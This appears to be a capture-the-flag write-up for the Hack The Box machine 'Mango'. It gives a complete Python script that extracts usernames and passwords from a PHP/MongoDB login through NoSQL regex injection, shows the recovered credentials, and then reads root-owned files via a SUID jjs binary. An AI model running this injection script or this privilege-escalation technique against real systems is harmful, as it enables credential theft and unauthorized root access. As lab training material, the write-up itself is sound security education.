RHOST: 10.10.10.162
LHOST: 10.10.14.96
Start like usual by scanning ports
root@kali:~# nmap -sV 10.10.10.162
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-06 02:48 EST
Nmap scan report for 10.10.10.162
Host is up (0.34s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.71 seconds
ssh
service is running, as well as apache with both HTTP and HTTPS on 80
and 443
.
Hitting port 80
with an HTTP request returns a 403 error, but I get a 200
OK on 443
(after adding the SSL cert to my exceptions).
Hitting the webserver with HTTPS gives us an interface for a search portal. So this box is named mango, and it's got a search interface, seems likely that the name is some sort of hint to mangodb, we'll keep this is mind.
A quick skim through the page source also reveals a link to /analytics.php
.
Spent some time looking at the source for that page but it seemed like a dead
end.
Here I hit a wall for quite some time, I did some more directory travesal with
gobuster using larger wordlist sets on both port 80
and 443
but it didn't
yield anything useful. Decided to take a closer look at the certificate that
the server was giving us, and came across a useful clue.
So it seems there is a vhost for a subdomain staging-order.mango.htb
. I added
the hostname and the remote IP to my /etc/hosts
file and took a look at what
hitting the webserver with that url gave us. Nice, we found a new page! Some
sort of login form.
This stumped me for a while. Tried the usual default creds like admin:admin
guest:guest
admin:password
but came up blank.
I searched around google a bit for attacks on authentication with a mongodb backend and found some very interesting research!
Research paper on NoSQL security flaws
Some proof of concept scripts from swisskyrepo's PayloadsAllTheThings
Some more scripts in the same vain
By abusing the way the mongodb query is crafted on the backend based on the php POST data, we can brute force both username and password for the login portal. I used a python script based on the above prior art. I had to ensure the HTTP requests being sent from the python script were crafted like ones coming from the browser so I copied over some of the request headers from firefox after recording one of the login POST requests. Also needed to limit some of the characters being tried as some characters are not regex friendly.
import sys
import requests
import string
url = "http://staging-order.mango.htb/index.php"
headers = {"Host": "staging-order.mango.htb", "Content-Type": "application/x-www-form-urlencoded"}
cookies = {"PHPSESSID": "susv0mvm5c1jr5fvg34fkv4rmn"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation ]
help_menu = '\r\nUsage: mango.py <user|pass> [user]\r\n\r\nSecond argument required for password discovery'
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
pr2 = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr2.status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
def get_password(username):
print("Extracting password of %s" % username)
params = {"username": username, "password[$regex]": "", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
print(password)
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
if __name__ == "__main__":
try:
arg = sys.argv[1]
if arg == 'user':
get_usernames()
elif arg == 'pass':
username = sys.argv[2]
if username is not None:
get_password(username)
else:
print(help_menu)
else:
print(help_menu)
except IndexError:
print(help_menu)
We end up finding two usernames admin
and mango
.
root@kali:~# python mango.py user
Found username starting with a
^ad
^adm
^admi
^admin
Found username: admin
Found username starting with m
^ma
^man
^mang
^mango
Found username: mango
root@kali:~#
Now to brute force the passwords
root@kali:~# python mango.py pass admin
Extracting password of admin
^t
^t9
^t9K
^t9Kc
^t9KcS
^t9KcS3
^t9KcS3>
^t9KcS3>!
^t9KcS3>!0
^t9KcS3>!0B
^t9KcS3>!0B#
^t9KcS3>!0B#2
Found password t9KcS3>!0B#2 for username admin
root@kali:~# python mango.py pass mango
Extracting password of mango
^h
^h3
^h3m
^h3mX
^h3mXK
^h3mXK8
^h3mXK8R
^h3mXK8Rh
^h3mXK8RhU
^h3mXK8RhU~
^h3mXK8RhU~f
^h3mXK8RhU~f{
^h3mXK8RhU~f{]
^h3mXK8RhU~f{]f
^h3mXK8RhU~f{]f5
^h3mXK8RhU~f{]f5H
Found password h3mXK8RhU~f{]f5H for username mango
Logging into the web portal works with these credentials with both users which
leads to another landing page with nothing of further interest. I tried using
the same creds to ssh into the box, which didn't work for user admin
but
worked for mango
.
We can even double check that we did in fact manage to brute force the correct passwords and users by using the mongo client on the remote server.
mango@mango:/tmp$ mongo
MongoDB shell version v4.0.12
connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("01aff217-25c6-4a05-a61a-1b3bd7a531d5") }
MongoDB server version: 4.0.12
Server has startup warnings:
2020-02-06T11:21:10.173+0000 I STORAGE [initandlisten]
2020-02-06T11:21:10.173+0000 I STORAGE [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2020-02-06T11:21:10.173+0000 I STORAGE [initandlisten] ** See http://dochub.mongodb.org/core/prodnotes-filesystem
2020-02-06T11:21:15.630+0000 I CONTROL [initandlisten]
2020-02-06T11:21:15.630+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database.
2020-02-06T11:21:15.630+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted.
2020-02-06T11:21:15.630+0000 I CONTROL [initandlisten]
---
Enable MongoDB's free cloud-based monitoring service, which will then receive and display
metrics about your deployment (disk utilization, CPU, operation statistics, etc).
The monitoring data will be available on a MongoDB website with a unique URL accessible to you
and anyone you share the URL with. MongoDB may use this information to make product
improvements and to suggest MongoDB products and deployment options to you.
To enable free monitoring, run the following command: db.enableFreeMonitoring()
To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---
> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
mango 0.000GB
> use mango
switched to db mango
> db.users.find()
{ "_id" : ObjectId("5d8e25334f3bf1432628927b"), "username" : "admin", "password" : "t9KcS3>!0B#2" }
{ "_id" : ObjectId("5d8e25364f3bf1432628927c"), "username" : "mango", "password" : "h3mXK8RhU~f{]f5H" }
I wasn't sure if I had the right password for user admin
to login to the box,
perhaps I only had a password for the web application which was stored on
mongodb. I checked the ssh config and it turns out only root
and mango
are
authorized to login via ssh (so the admin password is in fact valid).
mango@mango:/tmp$ cat /etc/ssh/sshd_config
...
# ForceCommand cvs server
PasswordAuthentication yes
AllowUsers mango root
I then switched user with su
to admin
in order to get the user flag.
mango@mango:/tmp$ su admin
Password:
$ cat /home/admin/user.txt
79bf31c6c6eb38a8567832f7f8b47e92
Escalating to root was the easiest part of this box. I searched for SUID/SGID binaries on the system, and came across an interesting result.
mango@mango:~$ su admin
Password:
$ find / -perm /6000 -print 2>/dev/null
...
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
...
$ ls -lah //usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-sr-- 1 root admin 11K Jul 18 2019 //usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
jjs
is a commandline tool to invoke Java's Nashorn JavaScript engine. Since
the binary has the SUID bit set, it runs as root. After a quick check on
GTFOBins I can then read any file on the system!
$ echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs> > >
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) { print(line); }
8a8ef79a7a2fbb01ea81688424e9ab15
jjs> $
Root flag obtained 😺